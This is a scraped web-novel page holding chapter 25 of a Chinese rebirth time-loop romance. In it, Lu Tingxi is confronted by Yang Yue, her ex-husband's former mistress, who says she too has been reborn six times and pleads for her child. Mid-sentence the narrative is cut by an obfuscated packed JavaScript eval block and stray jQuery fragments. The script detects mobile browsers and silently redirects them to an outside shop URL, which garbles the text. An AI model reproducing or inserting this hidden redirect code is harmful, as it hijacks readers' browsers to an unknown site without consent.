文趣网 > 其他小说 > 我曾无数次路过你 > 25. 不速之客
    「第二卷:循环」

    六月的最后一天,阳光炽烈。

    公司楼下,来了一个女人。

    她没预约,也没报公司名,只说了一句话,前台的小姑娘听了瞬间神色紧张,赶忙拨通了内线电话。

    她说的是:我找陆汀溪,人命攸关。

    *

    办公室里,键盘敲击声此起彼伏,速度均匀,声音沉闷,带着种死板的严谨,给密不透风的格子间增添些窒息感。

    陆汀溪端起桌上的冰咖啡,抿了两口,眉头皱了皱,“给我点的生椰拿铁?”

    “啊——”小慧转过头,嘴上还蹭着抹茶泡芙的绿奶油,她舔了舔上唇,嘴吧唧几下,“咋了?”

    “太甜了,甜得有点发腻。”

    “有吗?”小慧端起自己那杯喝了两口,“不腻啊,我觉得挺好喝。”

    “下次还是给我点拿铁吧,要么就美式。”陆汀溪放下咖啡杯,视线又挪回电脑屏幕。

    “同样价格傻子才喝美式。”小慧嗦了嗦手指上沾着的奶油,“要我说还是这个最划算,味儿也够足。”

    陆汀溪看了眼隔壁工位上端端正正放着的那个香奈儿小羊皮,嘴角扯了扯,“大小姐还真是该省省,该花花,绝对是居家过日子的好手,岳肖齐要是娶了你,他得乐死。”

    这话带点反讽,小慧也听出来了。

    她轻嗤一声,“你懂什么,这叫按物论价。”说着抬手抚上面前的包,“横竖都是花钱,肯定选性价比最高的啊。”

    陆汀溪点点头,“有道理。”手指在键盘上敲了几下,然后转头说,“但我还是选自己的喜欢的。”

    “真拗啊你。”

    她笑了笑,没再说话,转过来,继续码字。

    刚敲出两个字,张钰钰火急火燎地小跑过来,气息微喘,“汀姐,你快下去看看吧。”

    “嗯?”陆汀溪扭过头,看着跑过来的人,“怎么了?跑这么急。”

    “楼下有人找你。”张钰钰调整着呼吸节奏,抬手捋了捋跑乱了的刘海,凑得近了些,“好像是挺重要的事,电话直接打到了老大那儿。”

    老大指的是赵未。

    张钰钰是人家带进来的嫡系,关系非同一般,算是半个传话筒。

    “赵总让你来叫我?”陆汀溪眉头微微一拧,“有说是什么事吗?”

    “没说,就说是挺急的事,让你赶紧下去看看。”

    “行。”陆汀溪挪开椅子,站起来,“我下去看看。”说完,快步朝电梯走去。

    路上,她边走边琢磨,究竟是什么事,这么急?电话打到赵未那去了,应该就是和工作有关的。但让她去楼下,感觉又不像是工作上的事。

    电梯缓缓下降,她看着楼层数字一层一层的降,一个念头忽然冒出来。

    该不会是陈屿那个死渣男来闹事了?

    上次是装成快递员来送货,这次也很有可能又是那货搞的事。

    陆汀溪眉头皱了一下,心里烦得很。

    “叮——”

    电梯到了一楼。

    门打开的瞬间,陆汀溪深吸了一口气,她做好了应对的准备,连骂人的话都想好了。

    然而,大厅里站着的人,让她愣住了。

    不是陈屿。

    是一个不算太陌生的女人。准确的说,是一个少女。

    时隔六世又见面了。

    那个被陈屿叫作“小宝儿”的人。

    陆汀溪脚步慢下来,视线直直地落在不远处站着的身影上。一席白色连衣裙套在单薄的身板上,两根腿瘦得像筷子,带着点未发育完全的幼态。这身材在女人看来,没什么韵味,但却是当下绝大部分老男人最喜欢的白幼瘦。

    这人叫杨悦。这一世应该刚上大学,脸比之前嫩,年纪也比之前更小。

    她看见陆汀溪,局促地招了招手,眼神有些躲闪,嘴角僵硬地挤出一个不自然的笑。

    陆汀溪脚下的步子一顿。

    她从这表情里,看到了几分歉疚,还有不属于这个年纪的疲惫感。

    她瞬间意识到了,杨悦认识她。

    因为她的眼神不是在看陌生人,而像在看一个债主。明明不想见,却要硬着头皮来面对。

    可这时候,她还没遇到陈屿,也不应该认识她。

    除非......

    脑子里形成一个猜想。

    她整理好情绪,抬腿走过去。到了跟前,装得很平淡,像完全不认识一样。“你找我?”

    杨悦点点头。

    “什么事?”

    她脸上的神色紧张了些,手指不自觉地攥着裙子的下摆,指节微微泛白,那块纯白的布料被拧出了几道褶皱,像一朵破败的纸花。

    “你认识我吗?”她问。

    陆汀溪没出声。目光落在对面人的脸上,带着审视和从容。

    几秒后,嘴角扯了扯,“我该认识你吗?”

    杨悦的眼里有探究,又问了一遍,“你不认识我吗?”

    正值上班时间,大厅里空荡荡的。她的声音不大,但在空旷又安静的空间里,被衬得格外清晰,连尾音里那丝颤抖都听得一清二楚。

    那声音是发虚的,和她此刻脸上的神色一样。没有底气,只是在硬撑。

    陆汀溪没把她放在眼里,第一世是,这一世更是。她觉得这人不配和她这么面对面的说话,更不配她浪费半点时间。

    “我挺忙的。你要是没什么正经事,就别站在这儿了。”她语气淡淡的,像在打发一个上门推销的,“非要站也行,没时间奉陪。”

    她说完转身,准备离开。

    “我知道你认识我。”杨悦快步追上来,绕到她面前,声音压低了,“也知道你重生了。”她伸出手,比了个数字。

    “重生了六次。”

    陆汀溪抬眼看她。

    “因为我也是。”她无力地垂下那只手,嘴角是一抹惨淡的笑,脸上最后的那点血色都没了。整个人看着像被抽了灵魂,只剩下一副躯壳,“跟着你重生了六次。”

    陆汀溪的眼神微微一顿。瞳孔缩了一下,但也只是一瞬间,快到根本不会被察觉。

    下一秒,她的目光就恢复了平静,眉眼间还是那副冷淡疏离。

    见她没说话,杨悦很淡地笑了笑,“你应该也没想到吧?一个npc比你知道的信息量更大,是不是也挺意外的?”

    陆汀溪没接话。

    “第一次我也以为是偶然,以为我是死于意外,老天又给了我一次活过来的机会。”她看了看自己的手掌,十指纤长,皮肤光洁,比上一世死前年轻了不知多少岁。“我以为老天是在帮我,让我重获青春,让我改写命运。”

    陆汀溪淡淡地努了努嘴角,“不挺好的?如你所愿。”

    杨悦苦笑着摇摇头,“后来才知道,不是在帮我,是在折磨我。”她眼里有雾气,眼眶都红了,“是凌迟,一次一次,在我最幸福的时候,把我拉出来。”

    “哦?”陆汀溪唇角的弧度深了,“怎么就是凌迟了呢?不是奖赏吗?”

    “不是,如果我始终是一个人,那是奖赏。”她眼底的雾气散了,滑出淡淡的水痕,“但是——我有了幸福美满的家庭,有了可爱的孩子。”

    陆汀溪的心揪了一下。

    像是被一只手攥住了心脏,疼得她喘不上气。

    那是她犯过的最大过错,也是一直不敢触碰的伤。

    她彻底失去了那个和她共享过同一心跳的小天使。那个因为她的软弱,而未能来到这个世界的小生命,是她最痛、最深、最不敢回望的疤。

    陆汀溪侧过身,深深吸了一口气。头微微向上仰了仰,眼睛使劲睁了睁,硬是把那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574780|203383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    层水气逼回去了,也压下了翻涌上来的情绪。

    “重生多少回,对我来说,都不算什么。”杨悦还在继续说,“可我的孩子需要妈妈,对她太残忍了,让她每一次都亲眼看着妈妈死在她面前。”她的声音越来越大,情绪也逐渐失控,“我造的孽,我认,可我的孩子是无辜的。”

    陆汀溪抬手上拂过眼角的湿润,然后转过身,“所以呢?你来找我的目的是什么?”

    “我来赎罪。”

    这答案让人意外。

    “怎么突然觉悟了?”陆汀溪看着她紧抿的唇,“第一世的你,可不这样。”

    “我之前不知道他有家庭。”

    陆汀溪冷笑一声,“知道之后呢,不也没变化吗?”她往前逼近一步,“不知道他有个怀孕的老婆吗?”

    杨悦没坑声。

    “不知道有人挺着大肚子需要他照顾吗?”她的声量也大了些,手紧紧攥成了拳,“你知道。你不但知道,还找耍各种手段,勾着他撇下我,去找你。”

    “我——”

    “你们的信息我都看了,践踏别人是你的乐趣?想法设法就为了满足自己那点胜负欲和虚荣心?”陆汀溪眼里浮出一丝轻蔑,“没错,陈屿是被你勾走了。”她伸手拍了两下,“但勾走条狗,不算什么本事。”

    杨悦的头垂得越来越低。

    “我这人没兴趣搞雌竞那套,所以第一世,我连找都不找你,没想到你倒是找来了。”

    “我知道不该来打扰你。”杨悦顿了顿,“也知道我不配。”

    这话乍听没毛病,细品全是茶味。她最艰难、最脆弱的时候,这人做尽了伤害她的事。如今她好了,伤疤都结了,这人倒跑来“赎罪”了。

    这份迟来的愧疚,太晚了,也太假了。

    “知道打扰还来是为了什么?”陆汀溪打量着眼前这个头低到尘埃里的人,不紧不慢地说出自己的猜想,“因为你的命运取决于我?每一次死都是因为被我拉进了新的循环。”

    杨悦猛地抬起头,眼里全是诧异。“你怎么知道?”

    “猜的。不然没什么能让你低头来“赎罪”,唯一的理由——"”陆汀溪笑了笑,“是关乎你的利益。”

    “没错,我是为了自己来找你的。”

    “嗯,不意外。”

    “你就当可怜可怜我的孩子,这一世,我想给她一个完整的家。”

    杨悦眼里有祈求,看着楚楚可怜。但可怜之人,必有可恨之处。

    陆汀溪冷哼一声,“还来道德绑架上了?孩子是无辜的。”她点点头,嘴角挂着一丝冷意,“但那是你的因果。你自己亲手毁了一个家庭,别忘了——是你和陈屿亲手把我推进了这个循环。”

    杨悦的脸更白了。她咬着下唇,咬得很用力,连唇色都淡得几近惨白,像随时会渗出血来。

    “是你们联手打造的这一切,所以是你咎由自取。”她不想再看这绿茶装可怜,扔下句话就走了。“至于你的孩子,可怜在有你这么个妈。”

    话音落下,她抬脚,进了电梯。

    电梯门合上了。

    陆汀溪看着镜子里的人,努力扯出一个笑。

    这一次,不用那些虚情假意,她也会活得好好的。

    不会再有循环,她也不会再寻死觅活。那些被反复折磨、反复碾碎的日子,到此为止了。

    不出意外的话,那个可怜的孩子,这一世会有一个完整的家。她会正常的长大,不用再眼睁睁看着妈妈死在自己面前。

    至于她自己那个没能来到世上的孩子,她会带着这份伤痛继续走下去。

    放不下,也释怀不了。会一直把他藏在心里最深的角落,不跟任何人提起,也永远不会忘记。

    对那个还没来得及叫她一声妈妈的孩子来说——

    这大概就是她该赎的罪。